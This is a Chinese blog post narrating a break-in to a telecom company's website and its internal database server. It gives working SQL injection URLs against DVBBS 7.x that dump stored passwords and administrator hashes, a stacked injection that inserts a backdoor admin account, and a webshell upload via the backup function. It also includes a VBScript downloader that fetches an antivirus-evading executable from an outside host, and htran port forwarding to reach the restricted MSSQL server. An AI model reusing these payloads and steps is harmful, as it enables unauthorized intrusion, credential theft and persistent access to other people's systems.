渗透一电信
一、踩点: http://xxx.online.xx.xx XX电信的站点,这个站是我一直都想拿下的,首页存在注入点,是sa登陆,数据库是放另一外网的主机,那台主机禁止对外连接,但是可以上网,对外不开放端口。 二、拿下aspshell 动网前台提权的方法我就不多说了,jinsdb给的工具,很快就提完前台。不抓图,继续. http://xxx.online.xx.xx/bbs/recycle.asp?tablename=Dv_bbs1 union select 1,2,l_content,4,5,6 from dv_log where l_id>0 union select 1,1,1,1,1,1 from dv_bbs1&page=7
这里要注意的是,这个漏洞的前提是以前台管理员身份登陆,对access和mssql的dvbbs7.x通杀,通过上面的构造,就可以暴出l_content的内容这里还要说的是,最后面的&page=7,通过上面的注入语句是暴出所有l_content的值,但是动网一个界面只能显示10多条,所以大家通过修改page的值来找l_content的内容,一般是在最后几个数字,这个page是回收站的页数,如果一共有130页,你一般从120开始,这样,通过121,122,一直累注上去,直到找出password的明文,如果你懂点sql的话,当然也可以用来暴管理员的散列,只是变换一下注入语句而已,如: http://xxx.online.xx.xx/bbs/recycle.asp?tablename=Dv_bbs1 union select 1,2,password,4,5,6 from dv_admin where password>0 union select 1,1,1,1,1,1 from dv_bbs1&page=7
利用上面的注射方式,可以暴出l_content的值,当然,如果你想暴dv_admin的话,只要构造一下注射语句就可以了。利用这种注册很快暴出 而对于sql方法更多,动网的其它文件也存在注入漏洞,如:先查看一下随便一个用户的资料,在最下面的奖惩处点一下,如图二: 接着在操作理由里输入: test ,没有对用户进行分值操作','127.0.0.1',5) ;insert into dv_admin (username,[password],flag,adduser) values ('linzi123','7412b5da7be0cf42','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37','linzi123');--
这样在后台就加了一个linzi123的用户。进到后台后,sql的和access在备份的地方有些不同,偶给大家一个备份得shell的文件databack.htm. <form method="post" action="http://目标主机/ADMIN_data.asp?action=BackupData&act=Backup">
把目标主机换成你已经进入后台的url就可以了,如http://www.cnbct.org/bbs/,接下来就和access的一样了,方法我就不多说了。 三、代理的妙用 思路: 实践过程: 1.本地执行:jet 1 222.222.222.222 520 四、向主机进军 得到内网的机子的system权限后,开了他的TS,并用htran转到了公网(详情见我做的动画,光备里有)。有了一个GUI界面, 五、向最难的SQL进军 查看conn.asp文件后,可知mssql服务器的IP是另一公网主机,不过,这台主机很让人难过,因为那台主机做了IP限制, 1.端口复用,把3389端口复用在1433上,跑到群里问了一下lcx,他说htran可以复用,但是试过后发现不可以,再后来lcx说原来他在测试时,mssql没有打开,所以可以用,哈哈。不过,给他装个rookit,利用rookit或后门来实现复用。不过没去试,只是一个思路。 2.端口转发. echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >down.vbs
然后cscript http://linzi.cnbct.org/mt.exe mt.exe //下载一个免杀的mt.exe,再用mt -pslist找到mssql的进程。 再写个批处志,代码如下: @echo off
mt -pskill ID htran -p -tran 1433 127.0.0.1 3389 再用at命令执行批处志,当然还有其它好的方法,但我最后是利用第二个方法,拿下了最难搞的sql. 六、总结 这里的总结是对新手说的,也是我个人学习的经验。当你看一篇文章时,不要一晃而过,对于经典的文章有它要取之处,多做笔记,多去了解一下它在哪个地方值得学习,或者是很好的,记下来,不断的总结与学习,知识沉淀到一定程度,当它暴发,会很美很精彩。 对于这篇文章,技术水平不是很高,但如果你从中学到了东西,那么这篇文章也就尽了它的作用。 如果还有不太明白的可以到非安全或者BCT来找我,我会尽量帮大家。 本文出自 51CTO.COM技术博客 |



virus
博客统计信息
热门文章
最新评论
友情链接